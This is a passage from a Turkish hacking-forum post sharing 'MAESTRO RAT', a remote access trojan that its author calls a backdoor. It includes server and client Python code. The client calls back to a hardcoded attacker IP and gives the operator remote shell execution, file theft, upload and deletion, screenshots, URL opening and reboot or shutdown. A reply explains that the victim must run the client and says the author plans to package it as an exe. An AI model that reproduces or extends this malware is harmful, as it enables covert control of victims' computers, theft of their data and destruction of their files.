    ("cpu", "İstemcinin CPU bilgilerini döndürür."),
    ("memory", "İstemcinin bellek kullanım bilgilerini döndürür."),
    ("osinfo", "İstemcinin işletim sistemi bilgilerini döndürür."),
    ("browser [url]", "Belirtilen URL'yi istemcide açar."),
    ("upload", "İstemciden sunucuya dosya yükler."),
    ("download", "İstemciden istemciye dosya indirir."),
    ("screenshot", "İstemcinin ekran görüntüsünü alır."),
    ("restart", "İstemciyi yeniden başlatır."),
    ("poweroff", "İstemciyi kapatır."),
    ("cd [dizin]", "Dizini değiştirir."),
    ("clear", "Terminali temizler.")
]

print("{:<40} {}".format("Komut", "Açıklama"))
print("="*60)
for command, description in commands:
    print("{:<40} {}".format(command, description))


def handle_client(conn, addr):
    print(f"Bağlantı alındı: {addr}")

    try:
        while True:
            try:
                komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
                conn.send(komut.encode())
       
                if komut == 'exit':
                    break
       
                elif not komut:
                    continue
           
                elif komut == 'commandlist' :
                    print("{:<40} {}".format("Komut", "Açıklama"))
                    print("="*60)
           
                elif komut == 'clear':
                    x = os.name
                    if x == 'posix':
                        os.system('clear')
                    else:
                        os.system('cls')              

                elif komut == 'execute':
                    print("Lütfen 'execute' komutu için bir komut girin:")
                    islem = input()
                    conn.send(islem.encode())
                    received_data = conn.recv(8192)
                    print(received_data.decode(errors='ignore'))
       
                       
                elif komut == 'upload':
                    islem = input("Upload edilecek dosya ismini giriniz : ")
                    dosya_adi = islem
                    conn.send(dosya_adi.encode())
                    try:
                        with open(dosya_adi, 'rb') as file:
                            while (data := file.read(8192)):
                                conn.send(data)
                            conn.send('UPLOAD_COMPLETE'.encode())
                            print(f'{dosya_adi} başarılı bir şekilde upload edildi.')
                    except FileNotFoundError:
                        print('HATA: Dosya bulunamadı.')
                               
                elif komut == 'download':
                    islem = input("İndirilecek Dosya İsmini Giriniz : ")
                    conn.send(islem.encode())
                    with open(islem, 'wb') as file:
                        while True:
                            data = conn.recv(8192)
                            if data.endswith('DOWNLOAD_COMPLETE'.encode()):
                                data = data[:-len('DOWNLOAD_COMPLETE'.encode())]
                                file.write(data)
                                break
                            file.write(data)
                        print(f"{islem} dosyası başarılı bir şekilde bulunduğunuz dizine indirildi.[√]")
                           
                elif komut == 'screenshot':
                    with open('screenshothacked.png', 'wb') as file:
                        while True:
                            file_data = conn.recv(8192)
                            if file_data.endswith(b"screenshot_complete"):
                                file_data = file_data[:-len("screenshot_complete")]
                                file.write(file_data)
                                break
                            file.write(file_data)
                        print("Ekran görüntüsü bulunduğunuz dizine kayıt edildi.")
           
                elif komut.startswith('browser'):
                    link = komut.split(" ", 1)[1]
                    conn.send(link.encode())
                    sonuc = conn.recv(8192).decode()
                    print(sonuc)
       
                else:
                    received_data = conn.recv(8192)
                    print(received_data.decode(errors='ignore'))
           
            except Exception as e:
                print(f"Hata: {str(e)}")
                break

    except Exception as e:
        print(f"Bağlantı hatası: {str(e)}")

    finally:
        conn.close()

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(5)
        print(f"{ip}:{port} dinleniyor...")

        while True:
            try:
                conn, addr = s.accept()
                client_thread = threading.Thread(target=handle_client, args=(conn, addr))
                client_thread.start()
            except Exception as e:
                print(f"Bağlantı kabul hatası: {str(e)}")

if __name__ == "__main__":
    main()

client.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import webbrowser
import pyautogui


def get_os_info():
    return platform.platform()

def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    try:
        result = subprocess.run(['free'], capture_output=True, shell=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"
      
def get_network_info():
    network_info = ""
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
    interfaces = psutil.net_if_addrs()
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f" Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f" Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f" Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f" Ağ Maskesi: {addr.netmask}\n"
    return network_info

def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"
      

def main():
    ip = '192.168.1.36'
    port = 4545

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
      
            while True:
                command = s.recv(8192).decode()
              
                if not command:
                    continue

                if command == 'exit':
                    break

                elif command == 'execute':
                    komut = s.recv(8192).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.startswith('openfile'):
                    dosya_adi = command.split(" ", 1)[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('deletefile'):
                    dosya_adi = command.split(" ", 1)[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('deletedirectory'):
                    hedef_dizin = command.split(" ", 1)[1]
                    try:
                        os.rmdir(hedef_dizin)
                        s.send(f"{hedef_dizin} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{hedef_dizin} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                  
                elif command.startswith('ls') or command.startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.startswith('cd'):
                    hedefklasor = command.split(" ", 1)[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('createdirectory'):
                    hedefklasor = command.split(" ", 1)[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith("createfile"):
                    dosyaisim = command.split(" ", 1)[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                    s.send("Dosya oluşturuldu.".encode())
          
                elif command.startswith("editfile"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosyaisim, "a") as dosya:
                        dosya.write(metin)
                    s.send("Metin dosya sonuna eklendi.".encode())
                  
              
  
                  

                elif command == "whoami":
                    cikti = subprocess.run
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
              
                elif command == "ifconfig":
                    x = get_network_info()
                    s.send(x.encode())
              
                elif command == "cpu":
                    x = get_cpu_info()
                    s.send(x.encode())
              
                elif command == "memory":
                    x = get_memory_info()
                    s.send(x)
              
                elif command == "osinfo":
                    os_info = get_os_info()
                    s.send(os_info.encode())
                  
                elif command == 'upload':
                    dosya_adi = s.recv(8192).decode()
                    with open(dosya_adi, 'wb') as file:
                        while True:
                            data = s.recv(8192)
                            if data.endswith('UPLOAD_COMPLETE'.encode()):
                                file.write(data[:-len('UPLOAD_COMPLETE'.encode())])
                                break
                            file.write(data)
                          
                      
                elif command == 'download':
                    dosya_adi = s.recv(8192).decode()
                    try:
                        with open(dosya_adi, 'rb') as file:
                            while (data := file.read(819229383)):
                                if not data:
                                    s.send('Dosya boş'.encode())
                                    continue
                                else:  
                                    s.send(data)
                                    s.send('DOWNLOAD_COMPLETE'.encode())
                    except FileNotFoundError:
                        s.send('HATA: Dosya bulunamadı.'.encode())
      
                elif command == 'screenshot':
                    screenshot = pyautogui.screenshot()
                    screenshot.save("hacked.png")
                    with open("hacked.png", 'rb') as file:
                        while True:
                            file_data = file.read(8192)
                            if not file_data:
                                break
                            s.send(file_data)
                    os.remove("hacked.png")
                    s.send("screenshot_complete".encode())
                  
                elif command.startswith('browser'):
                    link = command.split(" ", 1)[1]
                    if not link.startswith(("http://", "https://")):
                        link = "http://" + link
                    try:
                        webbrowser.open(link)
                        s.send('Url Açıldı.'.encode())
                    except Exception as e:
                        s.send(f'Url açılırken hata oluştu: {str(e)}'.encode())
                      
                elif command == 'restart':
                    x = os.name
                    if x == 'posix':
                        result = subprocess.run(['sudo', 'reboot'], shell=True, capture_output=True, text=True)
                    elif x == 'nt':
                        result = subprocess.run(['shutdown', '/r', '/t', '0'], shell=True, capture_output=True, text=True)
                  
                    if result.returncode == 0:
                        s.send(result.stdout.strip().encode())
                    else:
                        s.send(result.stderr.strip().encode())
                      
                elif command == 'poweroff':
                    x = os.name
                    if x == 'posix':
                        result = subprocess.run(['shutdown', '-h', 'now'], shell=True, capture_output=True, text=True)
                    elif x == 'nt':
                        result = subprocess.run(['shutdown', '/s'], shell=True, capture_output=True, text=True)
                  
                    if result.returncode == 0:
                        s.send(result.stdout.strip().encode())
                    else:
                        s.send(result.stderr.strip().encode())
                      
                      
                else:
                    s.send("Geçersiz komut.".encode())
           

if __name__ == "__main__":
    main()



MAESTRO RAT V2.0' DAN GÖRÜNTÜLER

fu1iwpm.jpg


DOWNLOAD & UPLOAD & SCREENSHOT


tt26iga.jpg




Github'dan İndirmek veya Görüntülemek İsterseniz Aşağıdan Ulaşabilirsiniz.

GİTHUB

Hata, Bug ve Önerilerinizi Aşağıda Açıkca Belirtebilirsiniz. Gelecek Sürüm Daha İyi Olucak. Görüşmek Üzere.🙂👋

logo.png
hocam nasıl kullanılacağını anlatan bir video yapsanız çok güzel olur bence (ÖNERİ)
 

narkotix7

Üye
1 Ara 2023
133
58
Mersin
hocam nasıl kullanılacağını anlatan bir video yapsanız çok güzel olur bence (ÖNERİ)
client.py hedef kişi tarafından başlatılmalı client.py deki ip port kendinize gore düzenleyin. hedef başlattıktan sonra komutlar kullanılabılır hale gelicek. client.py dosyasını pyinstaller ile exe'ye çevirmeyi yeni sürümde eklemeyi düşünüyorum. iyi günler diliyorum
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.